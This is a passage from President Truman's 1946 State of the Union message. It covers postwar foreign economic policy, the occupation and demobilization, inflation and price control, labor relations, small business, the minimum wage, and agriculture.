a\ncharacter that proved to be so detrimental to the stability of the world\neconomy after the last war.We have taken steps to dispose of the goods which on VJ-day were in the\nlend-lease pipe line to the various lend-lease countries and to allow them\nlong-term credit for the purpose where necessary. We are also making\narrangements under which those countries may use the lend-lease inventories\nin their possession and acquire surplus property abroad to assist in their\neconomic rehabilitation and reconstruction. These goods will be accounted\nfor at fair values.The proposed loan to the United Kingdom, which I shall recommend to the\nCongress in a separate message, will contribute to easing the transition\nproblem of one of our major partners in the war. It will enable the whole\nsterling area and other countries affiliated with it to resume trade on a\nmultilateral basis. Extension of this credit will enable the United Kingdom\nto avoid discriminatory trade arrangements of the type which destroyed\nfreedom of trade during the 1930's. I consider the progress toward\nmultilateral trade which will be achieved by this agreement to be in itself\nsufficient warrant for the credit.The view of this Government is that, in the longer run, our economic\nprosperity and the prosperity of the whole world are best served by the\nelimination of artificial barriers to international trade, whether in the\nform of unreasonable tariffs or tariff preferences or commercial quotas or\nembargoes or the restrictive practices of cartels.The United States Government has issued proposals for the expansion of\nworld trade and employment to which the Government of the United Kingdom\nhas given its support on every important issue. These proposals are\nintended to form the basis for a trade and employment conference to be held\nin the middle of this year. If that conference is a success, I feel\nconfident that the way will have been adequately prepared for an expanded\nand prosperous world trade.We shall also continue negotiations looking to the full and equitable\ndevelopment of facilities for transportation and communications among\nnations.The vast majority of the nations of the world have chosen to work together\nto achieve, on a cooperative basis, world security and world prosperity.\nThe effort cannot succeed without full cooperation of the United States. To\nplay our part, we must not only resolutely carry out the foreign policies\nwe have adopted but also follow a domestic policy which will maintain full\nproduction and employment in the United States. A serious depression here\ncan disrupt the whole fabric of the world economy.3. OCCUPIED COUNTRIESThe major tasks of our Military Establishment in Europe following VE-day,\nand in the Pacific since the surrender of Japan, have been those of\noccupation and military government. In addition we have given much needed\naid to the peoples of the liberated countries.The end of the war in Europe found Germany in a chaotic condition.\nOrganized government had ceased to exist, transportation systems had been\nwrecked, cities and industrial facilities had been bombed into ruins. In\naddition to the tasks of occupation we had to assume all of the functions\nof government. Great progress has been made in the repatriation of\ndisplaced persons and of prisoners of war. Of the total of 3,500,000\ndisplaced persons found in the United States zone only 460,000 now remain.The extensive complications involved by the requirement of dealing with\nthree other governments engaged in occupation and with the governments of\nliberated countries require intensive work and energetic cooperation. The\ninflux of some 2 million German refugees into our zone of occupation is a\npressing problem, making exacting demands upon an already overstrained\ninternal economy.Improvements in the European economy during 1945 have made it possible for\nour military authorities to relinquish to the governments of all liberated\nareas, or to the United Nations Relief and Rehabilitation Administration,\nthe responsibility for the provision of food and other civilian relief\nsupplies. The Army's responsibilities in Europe extend now only to our\nzones of occupation in Germany and Austria and to two small areas in\nnorthern Italy.By contrast with Germany, in Japan we have occupied a country still\npossessing an organized and operating governmental system. Although\nseverely damaged, the Japanese industrial and transportation systems have\nbeen able to insure at least a survival existence for the population. The\nrepatriation of Japanese military and civilian personnel from overseas is\nproceeding as rapidly as shipping and other means permit.In order to insure that neither Germany nor Japan will again be in a\nposition to wage aggressive warfare, the armament making potential of these\ncountries is being dismantled and fundamental changes in their social and\npolitical structures are being effected. Democratic systems are being\nfostered to the end that the voice of the common man may be heard in the\ncouncils of his government.For the first time in history the legal culpability of war makers is being\ndetermined. The trials now in progress in Nurnberg-and those soon to begin\nin Tokyo--bring before the bar of international justice those individuals\nwho are charged with the responsibility for the sufferings of the past six\nyears. We have high hope that this public portrayal of the guilt of these\nevildoers will bring wholesale and permanent revulsion on the part of the\nmasses of our former enemies against war, militarism, aggression, and\nnotions of race superiority.4. DEMOBILIZATION OF OUR ARMED FORCESThe cessation of active campaigning does not mean that we can completely\ndisband our fighting forces. For their sake and for the sake of their loved\nones at home, I wish that we could. But we still have the task of clinching\nthe victories we have won--of making certain that Germany and Japan can\nnever again wage aggressive warfare, that they will not again have the\nmeans to bring on another world war. The performance of that task requires\nthat, together with our allies, we occupy the hostile areas, complete the\ndisarmament of our enemies, and take the necessary measures to see to it\nthat they do not rearm.As quickly as possible, we are bringing about the reduction of our armed\nservices to the size required for these tasks of occupation and\ndisarmament. The Army and the Navy are following both length-of-service and\npoint systems as far as possible in releasing men and women from the\nservice. The points are based chiefly on length and character of service,\nand on the existence of dependents.Over 5 million from the Army have already passed through the separation\ncenters.The Navy, including the Marine Corps and the Coast Guard, has discharged\nover one and a half million.Of the 12 million men and women serving in the Army and Navy at the time of\nthe surrender of Germany, one-half have already been released. The greater\npart of these had to be brought back to this country from distant parts of\nthe world.Of course there are cases of individual hardship in retention of personnel\nin the service. There will be in the future. No system of such size can\noperate to perfection. But the systems are rounded on fairness and justice,\nand they are working at full speed. We shall try to avoid mistakes,\ninjustices, and hardship--as far as humanly possible.We have already reached the point where shipping is no longer the\nbottleneck in the return of troops from the European theater. The governing\nfactor now has become the requirement for troops in sufficient strength to\ncarry out their missions.In a few months the same situation will exist in the Pacific. By the end of\nJune, 9 out of 10 who were serving in the armed forces on VE-day will have\nbeen released. Demobilization will continue thereafter, but at a slower\nrate, determined by our military responsibilities.Our national safety and the security of the world will require substantial\narmed forces, particularly in overseas service. At the same time it is\nimperative that we relieve those who have already done their duty, and that\nwe relieve them as fast as we can. To do that, the Army and the Navy are\nconducting recruiting drives with considerable success.The Army has obtained nearly 400,000 volunteers in the past four months,\nand the Navy has obtained 80,000. Eighty percent of these volunteers for\nthe regular service have come from those already with the colors. The\nCongress has made it possible to offer valuable inducements to those who\nare eligible for enlistment. Every effort will be made to enlist the\nrequired number of young men.The War and Navy Departments now estimate that by a year from now we still\nwill need a strength of about 2 million including officers, for the armed\nforces--Army, Navy, and Air. I have reviewed their estimates and believe\nthat the safety of the Nation will require the maintenance of an armed\nstrength of this size for the calendar year that is before us.In case the campaign for volunteers does not produce that number, it will\nbe necessary by additional legislation to extend the Selective Service Act\nbeyond May 16, the date of expiration under existing law. That is the only\nway we can get the men and bring back our veterans. There is no other way.\nAction along this line should not be postponed beyond March, in order to\navoid uncertainty and disruption.DOMESTIC AFFAIRSI. THE ECONOMIC OUTLOOKProphets of doom predicted that the United States could not escape a\nrunaway inflation during the war and an economic collapse after the war.\nThese predictions have not been borne out. On the contrary, the record of\neconomic stabilization during the war and during the period of reconversion\nhas been an outstanding accomplishment.We know, however, that nothing is as dangerous as overconfidence, in war or\nin peace. We have had to fight hard to hold the line. We have made\nstrenuous efforts to speed reconversion. But neither the danger of a\npostwar inflation nor of a subsequent collapse in production and employment\nis yet overcome. We must base our policies not on unreasoning optimism or\npessimism but upon a candid recognition of our objectives and upon a\ncareful analysis of foreseeable trends.Any precise appraisal of the economic outlook at this time is particularly\ndifficult. The period of demobilization and reconversion is fraught with\nuncertainties. There are also serious gaps in our statistical information.\nCertain tendencies are, however, fairly clear and recognition of them\nshould serve as background for the consideration of next year's Federal\nProgram. In general, the outlook for business is good, and it is likely to\ncontinue to be good--provided we control inflation and achieve peace in\nmanagement labor relations.Civilian production and employment can be expected to increase throughout\nthe next year. This does not mean, however, that continuing full employment\nis assured. It is probable that demobilization of the armed forces will\nproceed faster than the increase in civilian employment opportunities. Even\nif substantial further withdrawals from the labor market occur,\nunemployment will increase temporarily. The extent to which this\nunemployment will persist depends largely on the speed of industrial\nexpansion and the effectiveness of the policies of the Federal Government.Along with extraordinary demand there are still at this time many critical\nshortages resulting from the war. These extraordinary demands and shortages\nmay lead to a speculative boom, especially in the price of securities, real\nestate, and inventories.Therefore, our chief worry still is inflation. While we control this\ninflationary pressure we must look forward to the time when this\nextraordinary demand will subside. It will be years before we catch up with\nthe demand for housing. The extraordinary demand for other durable goods,\nfor the replenishment of inventories, and for exports may be satisfied\nearlier. No backlog of demand can exist very long in the face of our\ntremendous productive capacity. We must expect again to face the problem of\nshrinking demand and consequent slackening in sales, production, and\nemployment. This possibility of a deflationary spiral in the future will\nexist unless we now plan and adopt an effective full employment program.2. GENERAL POLICIES--IMMEDIATE AND LONG-RANGEDuring the war, production for civilian use was limited by war needs and\navailable manpower. Economic stabilization required measures, to spread\nlimited supplies equitably by rationing, price controls, increased taxes,\nsavings bond campaigns, and credit controls. Now, with the surrender of our\nenemies, economic stabilization requires that policies be directed toward\npromoting an increase in supplies at low unit prices.We must encourage the development of resources and enterprises in all parts\nof the country, particularly in underdeveloped areas. For example, the\nestablishment of new peacetime industries in the Western States and in the\nSouth would, in my judgment, add to existing production and markets rather\nthan merely bring about a shifting of production. I am asking the\nSecretaries of Agriculture, Commerce, and Labor to explore jointly methods\nfor stimulating new industries, particularly in areas with surplus\nagricultural labor.We must also aid small businessmen and particularly veterans who are\ncompetent to start their own businesses. The establishment and development\nof efficient small business ventures, I believe, will not take away from,\nbut rather will add to, the total business of all enterprises.Even with maximum encouragement of Production, we cannot hope to remove\nscarcities within a short time. The most serious deficiencies will persist\nin the fields of residential housing, building materials, and consumers'\ndurable goods. The critical situation makes continued rent control, price\ncontrol, and priorities, allocations, and inventory controls absolutely\nessential. Continued control of consumer credit will help to reduce the\npressure on prices of durable goods and will also prolong the period during\nwhich the backlog demand will be effective.While we are meeting these immediate needs we must look forward to a\nlong-range program of security and increased standard of living.The best protection of purchasing power is a policy of full production and\nfull employment opportunities. Obviously, an employed worker is a better\ncustomer than an unemployed worker. There always will be, however, some\nfrictional unemployment. In the present period of transition we must deal\nwith such temporary unemployment as results from the fact that\ndemobilization will proceed faster than reconversion or industrial\nexpansion. Such temporary unemployment is probably unavoidable in a period\nof rapid change. The unemployed worker is a victim of conditions beyond his\ncontrol. He should be enabled to maintain a reasonable standard of living\nfor himself and his family.The most serious difficulty in the path of reconversion and expansion is\nthe establishment of a fair wage structure.The ability of labor and management to work together, and the wage and\nprice policies which they develop, are social and economic issues of first\nimportance.Both labor and management have a special interest. Labor's interest is very\ndirect and personal because working conditions, wages, and prices affect\nthe very life and happiness of the worker and his family.Management has a no less direct interest because on management rests the\nresponsibility for conducting a growing and prosperous business.But management and labor have identical interests in the long run. Good\nwages mean good markets. Good business means more jobs and better wages. In\nthis age of cooperation and in our highly organized economy the problems of\none very soon become the problems of all.Better human relationships are an urgent need to which organized labor and\nmanagement should address themselves. No government policy can make men\nunderstand each other, agree, and get along unless they conduct themselves\nin a way to foster mutual respect and good will.The Government can, however, help to develop machinery which, with the\nbacking of public opinion, will assist labor and management to resolve\ntheir disagreements in a peaceful manner and reduce the number and duration\nof strikes.All of us realize that productivity--increased output per man--is in the\nlong run the basis of our standard of living. Management especially must\nrealize that if labor is to work wholeheartedly for an increase in\nproduction, workers must be given a just share of increased output in\nhigher wages.Most industries and most companies have adequate leeway within which to\ngrant substantial wage increases. These increases will have a direct effect\nin increasing consumer demand to the high levels needed. Substantial wage\nincreases are good business for business because they assure a large market\nfor their products; substantial wage increases are good business for labor\nbecause they increase labor's standard of living; substantial wage\nincreases are good business for the country as a whole because capacity\nproduction means an active, healthy, friendly citizenry enjoying the\nbenefits of democracy under our free enterprise system.Labor and management in many industries have been operating successfully\nunder the Government's wage-price policy. Upward revisions of wage scales\nhave been made in thousands of establishments throughout the Nation since\nVJ-day. It is estimated that about 6 million workers, or more than 20\npercent of all employees in nonagricultural and nongovernmental\nestablishments, have received wage increases since August 18, 1945. The\namounts of increases given by individual employers concentrate between 10\nand 15 percent, but range from less than 5 percent to over 30 percent.The United States Conciliation Service since VJ-day has settled over 3,000\ndisputes affecting over 1,300,000 workers without a strike threat and has\nassisted in settling about 1,300 disputes where strikes were threatened\nwhich involved about 500,000 workers. Only workers directly involved, and\nnot those in related industries who might have been indirectly affected,\nare included in these estimates.Many of these adjustments have occurred in key industries and would have\nseemed to us major crises if they had not been settled peaceably.Within the framework of the wage-price policy there has been definite\nsuccess, and it is to be expected that this success will continue in a vast\nmajority of the cases arising in the months ahead.However, everyone who realizes the extreme need for a swift and orderly\nreconversion must feel a deep concern about the number of major strikes now\nin progress. If long continued, these strikes could put a heavy brake on\nour program.I have already made recommendations to the Congress as to the procedure\nbest adapted to meeting the threat of work stoppages in Nation-wide\nindustries without sacrificing the fundamental rights of labor to bargain\ncollectively and ultimately to strike in support of their position.If we manage our economy properly, the future will see us on a level of\nproduction half again as high as anything we have ever accomplished in\npeacetime. Business can in the future pay higher wages and sell for lower\nprices than ever before. This is not true now for all companies, nor will\nit ever be true for all, but for business generally it is true.We are relying on all concerned to develop, through collective bargaining,\nwage structures that are fair to labor, allow for necessary business\nincentives, and conform with a policy designed to \"hold the line\" on\nprices.Production and more production was the byword during the war and still is\nduring the transition from war to peace. However, when deferred demand\nslackens, we shall once again face the deflationary dangers which beset\nthis and other countries during the 1930's. Prosperity can be assured only\nby a high level of demand supported by high current income; it cannot be\nsustained by deferred needs and use of accumulated savings.If we take the right steps in time we can certainly avoid the disastrous\nexcesses of runaway booms and headlong depressions. We must not let a year\nor two of prosperity lull us into a false feeling of security and a\nrepetition of the mistakes of the 1920's that culminated in the crash of\n1929.During the year ahead the Government will be called upon to act in many\nimportant fields of economic policy from taxation and foreign trade to\nsocial security and housing. In every case there will be alternatives. We\nmust choose the alternatives which will best measure up to our need for\nmaintaining production and employment in the future. We must never lose\nsight of our long-term objectives: the broadening of markets--the\nmaintenance of steadily rising demand. This demand can come from only three\nsources: consumers, businesses, or government.In this country the job of production and distribution is in the hands of\nbusinessmen, farmers, workers, and professional people-in the hands of our\ncitizens. We want to keep it that way. However, it is the Government's\nresponsibility to help business, labor, and farmers do their jobs.There is no question in my mind that the Government, acting on behalf of\nall the people, must assume the ultimate responsibility for the economic\nhealth of the Nation. There is no other agency that can. No other\norganization has the scope or the authority, nor is any other agency\naccountable, to all the people. This does not mean that the Government has\nthe sole responsibility, nor that it can do the job alone, nor that it can\ndo the job directly.All of the policies of the Federal Government must be geared to the\nobjective of sustained full production and full employment-to raise\nconsumer purchasing power and to encourage business investment. The\nprograms we adopt this year and from now on will determine our ability to\nachieve our objectives. We must continue to pay particular attention to our\nfiscal, monetary, and tax policy, programs to aid business--especially\nsmall business--and transportation, labor-management relations and\nwage-price policy, social security and health, education, the farm program,\npublic works, housing and resource development, and economic foreign\npolicy.For example, the kinds of tax measures we have at different times--whether\nwe raise our revenue in a way to encourage consumer spending and business\ninvestment or to discourage it--have a vital bearing on this question. It\nis affected also by regulations on consumer credit and by the money market,\nwhich is strongly influenced by the rate of interest on Government\nsecurities. It is affected by almost every step we take.In short, the way we handle the proper functions of government, the way we\ntime the exercise of our traditional and legitimate governmental functions,\nhas a vital bearing on the economic health of the Nation.These policies are discussed in greater detail in the accompanying Fifth\nQuarterly Report of the Director of War Mobilization and Reconversion.3. LEGISLATION HERETOFORE RECOMMENDEDAND STILL PENDINGTo attain some of these objectives and to meet the other needs of the\nUnited States in the reconversion and postwar period, I have from time to\ntime made various recommendations to the Congress.In making these recommendations I have indicated the reasons why I deemed\nthem essential for progress at home and abroad. A few--a very few--of these\nrecommendations have been enacted into law by the Congress. Most of them\nhave not. I here reiterate some of them, and discuss others later in this\nMessage. I urge upon the Congress early consideration of them. Some are\nmore urgent than others, but all are necessary.(1) Legislation to authorize the President to create fact-finding boards\nfor the prevention of stoppages of work in Nationwide industries after\ncollective bargaining and conciliation and voluntary arbitration have\nfailed--as recommended by me on December 3, 1945.(2) Enactment of a satisfactory full employment bill such as the Senate\nbill now in conference between the Senate and the House--as recommended by\nme on September 6, 1945.(3) Legislation to supplement the unemployment insurance benefits for\nunemployed workers now provided by the different States--as recommended by\nme on May 1945.(4) Adoption of a permanent Fair Employment Practice Act--as recommended by\nme on September 6, 1945.(5) Legislation substantially raising the amount of minimum wages now\nprovided by law--as recommended by me on September 6, 1945.(6) Legislation providing for a comprehensive program for scientific\nresearch--as recommended by me on September 6, 1945.(7) Legislation enacting a health and medical care program--as recommended\nby me on November 19, 1945.(8) Legislation adopting the program of universal training--as recommended\nby me on October 23, 1945.(9) Legislation providing an adequate salary scale for all Government\nemployees in all branches of the Government--as recommended by me on\nSeptember 6, 1945.(10) Legislation making provision for succession to the Presidency in the\nevent of the death or incapacity or disqualification of the President and\nVice President--as recommended by me on June 19, 1945.(11) Legislation for the unification of the armed services--as recommended\nby me on December 19, 1945.(12) Legislation for the domestic use and control of atomic energy--as\nrecommended by me on October 3, 1945.(13) Retention of the United States Employment Service in the Federal\nGovernment for a period at least up to June 30, 1947--as recommended by me\non September 6, 1945.(14) Legislation to increase unemployment allowances for veterans in line\nwith increases for civilians--as recommended by me on September 6, 1945.(15) Social security coverage for veterans for their period of military\nservice--as recommended by me on September 6, 1945.(16) Extension of crop insurance--as recommended by me on September 6,\n1945.(17) Legislation permitting the sale of ships by the Maritime Commission at\nhome and abroad--as recommended by me on September 6, 1945. I further\nrecommend that this legislation include adequate authority for chartering\nvessels both here and abroad.(18) Legislation to take care of the stock piling of materials in which the\nUnited States is naturally deficient--as recommended by me on September 6,\n1945.(19) Enactment of Federal airport legislation-as recommended by me on\nSeptember 6, 1945.(20) Legislation repealing the Johnson Act on foreign loans--as recommended\nby me on September 6, 1945.(21) Legislation for the development of the Great Lakes-St. Lawrence River\nBasin-as recommended by me on October 3, 1945.4. POLICIES IN SPECIFIC FIELDS(a) Extension of Price Control Act.Today inflation is our greatest immediate domestic problem. So far the\nfight against inflation has been waged successfully. Since May 1943,\nfollowing President Roosevelt's \"hold the line\" order and in the face of\nthe greatest pressures which this country has ever seen, the cost of living\nindex has risen only three percent. Wholesale prices in this same period\nhave been held to an increase of two and one-half percent.This record has been made possible by the vigorous efforts of the agencies\nresponsible for this program. But their efforts would have been fruitless\nif they had not had the solid support of the great masses of our people.\nThe Congress is to be congratulated for its role in providing the\nlegislation under which this work has been carried out.On VJ-day it was clear to all thinking people that the danger of inflation\nwas by no means over. Many of us can remember vividly our disastrous\nexperience following World War I. Then the very restricted wartime controls\nwere lifted too quickly, and as a result prices and rents moved more\nrapidly upward. In the year and a half following the armistice, rents,\nfood, and clothing shot to higher and still higher levels.When the inevitable crash occurred less than two years after the end of the\nwar, business bankruptcies were widespread. Profits were wiped out.\nInventory losses amounted to billions of dollars. Farm income dropped by\none-half. Factory pay rolls dropped 40 percent, and nearly one-fifth of all\nour industrial workers were walking the streets in search of jobs. This was\na grim greeting, indeed, to offer our veterans who had just returned from\noverseas.When I addressed the Congress in September, I emphasized that we must\ncontinue to hold the price line until the production of goods caught up\nwith the tremendous demands. Since then we have seen demonstrated the\nstrength of the inflationary pressures which we have to face.Retail sales in the closing months of 1945 ran 12 percent above the\nprevious peak for that season, which came in 1944. Prices throughout the\nentire economy have been pressing hard against the price ceilings. The\nprices of real estate, which cannot now be controlled under the law, are\nrising rapidly. Commercial rents are not included in the present price\ncontrol law and, where they are not controlled by State law, have been\nincreasing, causing difficulties to many businessmen.It will be impossible to maintain a high purchasing power or an expanding\nproduction unless we can keep prices at levels which can be met by the vast\nmajority of our people. Full production is the greatest weapon against\ninflation, but until we can produce enough goods to meet the threat of\ninflation the Government will have to exercise its wartime control over\nprices.I am sure that the people of the United States are disturbed by the demands\nmade by several business groups with regard to price and rent control.I am particularly disturbed at the effect such thinking may have on\nproduction and employment. If manufacturers continue to hold back goods and\ndecline to submit bids when invited--as I am informed some are doing--in\nanticipation of higher prices which would follow the end of price controls,\nwe shall inevitably slow down production and create needless unemployment.\nOn the other hand, there are the vast majority of American businessmen who\nare not holding back goods, but who need certainty about the Government\npricing policy in order to fix their own long-range pricing policies.Businessmen are entitled therefore to a dear statement of the policy of the\nGovernment on the subject. Tenants and housewives, farmers and\nworkers--consumers in general--have an equal right.We are all anxious to eliminate unnecessary controls just as rapidly as we\ncan do so. The steps that we have already taken in many directions toward\nthat end are a clear indication of our policy.The present Price Control Act expires on June 30, 1946. If we expect to\nmaintain a steady economy we shall have to maintain price and rent control\nfor many months to come. The inflationary pressures on prices and rents,\nwith relatively few exceptions, are now at an all-time peak. Unless the\nPrice Control Act is renewed there will be no limit to which our price\nlevels would soar. Our country would face a national disaster.We cannot wait to renew the act until immediately before it expires.\nInflation results from psychological as well as economic conditions. The\ncountry has a clear right to know where the Congress stands on this\nall-important problem. Any uncertainty now as to whether the act will be\nextended gives rise to price speculation, to withholding of goods from the\nmarket in anticipation of rising prices, and to delays in achieving maximum\nproduction.I do not doubt that the Congress will be beset by many groups who will urge\nthat the legislation that I have proposed should either be eliminated or\nmodified to the point where it is nearly useless. The Congress has a clear\nresponsibility to meet this challenge with courage and determination. I\nhave every confidence that it will do so.I strongly urge that the Congress now resolve all doubts and as soon as\npossible adopt legislation continuing rent and price control in effect for\na full year from June 30, 1946.(b) Food subsidies.If the price line is to be held, if our people are to be protected against\nthe inflationary dangers which confront us, we must do more than extend the\nPrice Control Act. In September we were hopeful that the inflationary\npressures would by this time have begun to diminish. We were particularly\nhopeful on food. Indeed, it was estimated that food prices at retail would\ndrop from 3 to 5 percent in the first six months following the end of the\nwar.In anticipation of this decline in food prices, it was our belief that food\nsubsidies could be removed gradually during the winter and spring months,\nand eliminated almost completely by June 30 of this year. It was our\nfeeling that the food subsidies could be dropped without an increase to the\nconsumer in the present level of food prices or in the over-all cost of\nliving.As matters stand today, however, food prices are pressing hard against the\nceilings. The expected decline in food prices has not occurred, nor is it\nlikely to occur for many months to come. This brings me to the reluctant\nconclusion that food subsidies must be continued beyond June 30, 1946.If we fail to take this necessary step, meat prices on July 1 will be from\n3 to 5 cents higher than their average present levels; butter will be at\nleast 12 cents a pound higher, in addition to the 5 cents a pound increase\nof last fall; milk will increase from 1 to 2 cents a quart; bread will\nincrease about 1 cent a loaf; sugar will increase over 1 cent a pound;\ncheese, in addition to the increase of 4 cents now planned for the latter\npart of this month, will go up an additional 8 cents. In terms of\npercentages we may find the cost-of-living index for food increased by more\nthan 8 percent, which in turn would result in more than a 3-percent\nincrease in the cost of living.If prices of food were allowed to increase by these amounts, I must make it\nclear to the Congress that, in my opinion, it would become extremely\ndifficult for us to control the forces of inflation.None of us likes subsidies. Our farmers, in particular, have always been\nopposed to them.But I believe our farmers are as deeply conscious as any group in the land\nof the havoc which inflation can create. Certainly in the past eighteen\nmonths there has been no group which has fought any harder in support of\nthe Government's price control program. I am confident that, if the facts\nare placed before them and if they see clearly the evils between which we\nare forced to choose, they will understand the reasons why subsidies must\nbe continued.The legislation continuing the use of food subsidies into the new fiscal\nyear should be tied down specifically to certain standards. A very proper\nrequirement, in my opinion, would be that subsidies be removed as soon as\nit is indicated that the cost of living will decline below the present\nlevels.(c) Extension of War Powers Act.The Second War Powers Act has recently been extended by the Congress for\nsix months instead of for a year. It will now expire, unless further\nextended, on June 30, 1946. This act is the basis for priority and\ninventory controls governing the use of scarce materials, as well as for\nother powers essential to orderly reconversion.I think that this Administration has given adequate proof of the fact that\nit desires to eliminate wartime controls as quickly and as expeditiously as\npossible. However, we know that there will continue to be shortages of\ncertain materials caused by the war even after June 30, 1946. It is\nimportant that businessmen know now that materials in short supply are\ngoing to be controlled and distributed fairly as long as these war-born\nshortages continue.I, therefore, urge the Congress soon to extend the Second War Powers Act.\nWe cannot afford to wait until just before the act expires next June. To\nwait would cause the controls to break down in a short time, and would\nhamper our production and employment program.(d) Small business and competition.A rising birth rate for small business, and a favorable environment for its\ngrowth, are not only economic necessities but also important practical\ndemonstrations of opportunity in a democratic free society. A great many\nveterans and workers with new skills and experience will want to start in\nfor themselves. The opportunity must be afforded them to do so. They are\nthe small businessmen of the future.Actually when we talk about small business we are talking about almost all\nof the Nation's individual businesses. Nine out of every ten concerns fall\ninto this category, and 45 percent of all workers are employed by them.\nBetween 30 and 40 percent of the total value of all business transactions\nare handled by small business.It is obvious national policy to foster the sound development of small\nbusiness. It helps to maintain high levels of employment and national\nincome and consumption of the goods and services that the Nation can\nproduce. It encourages the competition that keeps our free enterprise\neconomy vigorous and expanding. Small business, because of its flexibility,\nassists in the rapid exploitation of scientific and technological\ndiscoveries. Investment in small business can absorb a large volume of\nsavings that might otherwise not be tapped.The Government should encourage and is encouraging small-business\ninitiative and originality to stimulate progress through competition.During the war, the Smaller War Plants Corporation assisted small concerns\nto make a maximum contribution to victory. The work of the Smaller War\nPlants Corporation is being carried on in peacetime by the Federal Loan\nAgency and the Department of Commerce. The fundamental approach to the job\nof encouraging small concerns must be based on:1. Arrangements for making private and public financial resources available\non reasonable terms.2. Provision of technical advice and assistance to business as a whole on\nproduction, research, and management problems. This will help equalize\ncompetitive relationships between large and small companies, for many of\nthe small companies cannot afford expensive technical research, accounting,\nand tax advice.3. Elimination of trade practices and agreements which reduce competition\nand discriminate against new or small enterprises.We speak a great deal about the free enterprise economy of our country. It\nis competition that keeps it free. It is competition that keeps it growing\nand developing. The truth is that we need far more competition in the\nfuture than we have had in the immediate past.By strangling competition, monopolistic activity prevents or deters\ninvestment in new or expanded production facilities. This lessens the\nopportunity for employment and chokes off new outlets for idle savings.\nMonopoly maintains prices at artificially high levels and reduces\nconsumption which, with lower prices, would rise and support larger\nproduction and higher employment. Monopoly, not being subject to\ncompetitive pressure, is slow to take advantage of technical advances which\nwould lower prices or improve quality. All three of these monopolistic\nactivities very directly lower the standard of living--through higher\nprices and lower quality of product--which free competition would improve.The Federal Government must protect legitimate business and consumers from\npredatory and monopolistic practices by the vigilant enforcement of\nregulatory legislation. The program will be designed to have a maximum\nimpact upon monopolistic bottlenecks and unfair competitive practices\nhindering expansion in employment.During the war, enforcement of antimonopoly laws was suspended in a number\nof fields. The Government must now take major steps not only to maintain\nenforcement of antitrust laws but to encourage new and competing\nenterprises in every way. The deferred demand of the war years and the\nlarge accumulations of liquid assets provide ample incentive for expansion.\nEqualizing of business opportunity, under full and free competition, must\nbe a prime responsibility in the reconversion period and in the years that\nfollow. Many leading businessmen have recognized the importance of such\naction both to themselves and to the economy as a whole.But we must do more than break up trusts and monopolies after they have\nbegun to strangle competition. We must take positive action to foster new,\nexpanding enterprises. By legislation and by administration we must take\nspecific steps to discourage the formation or the strengthening of\ncompetition-restricting business. We must have an over-all antimonopoly\npolicy which can be applied by all agencies of the Government in exercising\nthe functions assigned to them--a policy designed to encourage the\nformation and growth of new and freely competitive enterprises.Among the many departments and agencies which have parts in the program\naffecting business and competition, the Department of Commerce has a\nparticularly important role. That is why I have recommended a substantial\nincrease in appropriations for the next fiscal year for this Department.In its assistance to industry, the Department of Commerce will concentrate\nits efforts on these primary objectives: Promotion of a large and\nwell-balanced foreign trade; provision of improved technical assistance and\nmanagement aids, especially for small enterprises; and strengthening of\nbasic statistics on business operations, both by industries and by regions.\nTo make new inventions and discoveries available more promptly to all\nbusinesses, small and large, the Department proposes to expand its own\nresearch activities, promote research by universities, improve Patent\nOffice procedures, and develop a greatly expanded system of field offices\nreadily accessible to the businesses they serve.Many gaps exist in the private financial mechanism, especially in the\nprovision of long-term funds for small- and medium sized enterprises. In\nthe peacetime economy the Reconstruction Finance Corporation will take the\nleadership in assuring adequate financing for small enterprises which\ncannot secure funds from other sources. Most of the funds should and will\nbe provided by private lenders; but the Reconstruction Finance Corporation\nwill share any unusual risks through guarantees of private loans, with\ndirect loans only when private capital is unwilling to participate on a\nreasonable basis.(e) Minimum wage.Full employment and full production may be achieved only by maintaining a\nlevel of consumer income far higher than that of the prewar period. A high\nlevel of consumer income will maintain the market for the output of our\nmills, farms, and factories, which we have demonstrated during the war\nyears that we can produce. One of the basic steps which the Congress can\ntake to establish a high level of consumer income is to amend the Fair\nLabor Standards Act to raise substandard wages to a decent minimum and to\nextend similar protection to additional workers who are not covered by the\npresent act.Substandard wages are bad for business and for the farmer. Substandard\nwages provide only a substandard market for the goods and services produced\nby American industry and agriculture.At the present time the Fair Labor Standards Act prescribes a minimum wage\nof 40 cents an hour for those workers who are covered by the act. The\npresent minimum wage represents an annual income of about $800 to those\ncontinuously employed for 50 weeks--clearly a wholly inadequate budget for\nan American family. I am in full accord with the proposal now pending in\nthe Congress that the statutory minimum be raised immediately to 65 cents\nan hour, with further increases to 70 cents after one year and to 75 cents\nafter two years. I also favor the proposal that the industry committee\nprocedure be used to set rates higher than 65 cents per hour during the\ntwo-year interval before the 75-cent basic wage would otherwise become\napplicable.The proposed minimum wage of 65 cents an hour would assure the worker an\nannual income of about $1,300 a year in steady employment. This amount is\nclearly a modest goal. After considering cost-of-living increases in recent\nyears, it is little more than a 10-cent increase over the present legal\nminimum. In fact, if any large number of workers earn less than this\namount, we will find it impossible to maintain the levels of purchasing\npower needed to sustain the stable prosperity which we desire. Raising the\nminimum to 75 cents an hour will provide the wage earner with an annual\nincome of $1,500 if he is fully employed.The proposed higher minimum wage levels are feasible without involving\nserious price adjustments or serious geographic dislocations.Today about 20 percent of our manufacturing wage earners--or about 2\nmillion-earn less than 65 cents an hour. Because wages in most industries\nhave risen during the war, this is about the same as the proportion-17\npercent--who were earning less than 40 cents an hour in 1941.I also recommend that minimum wage protection be extended to several groups\nof workers not now covered. The need for a decent standard of living is by\nno means limited to those workers who happen to be covered by the act as it\nnow stands. It is particularly vital at this period of readjustment in the\nnational economy and readjustment in employment of labor to extend minimum\nwage protection as far as possible.Lifting the basic minimum wage is necessary, it is justified as a matter of\nsimple equity to workers, and it will prove not only feasible but also\ndirectly beneficial to the Nation's employers.(f) Agricultural programs.The farmers of America generally are entering the crop year of 1946 in\nbetter financial condition than ever before. Farm mortgage debt is the\nlowest in 30 years. Farmers' savings are the largest in history. Our\nagricultural plant is in much better condition than after World War I. Farm\nmachinery and supplies are expected to be available in larger volume, and\nfarm labor problems will be less acute.The demand for farm products will continue strong during the next year or\ntwo because domestic purchases will be supplemented by a high level of\nexports and foreign relief shipments. It is currently estimated that from 7\nto 10 percent of the total United States food supply may be exported in the\ncalendar year 1946.Farm prices are expected to remain at least at their present levels in the\nimmediate future, and for at least the next 12 months they are expected to\nyield a net farm income double the 1935-39 average and higher than in any\nyear prior to 1943.We can look to the future of agriculture with greater confidence than in\nmany a year in the past. Agriculture itself is moving confidently ahead,\nplanning for another year of big production, taking definite and positive\nsteps to lead the way toward an economy of 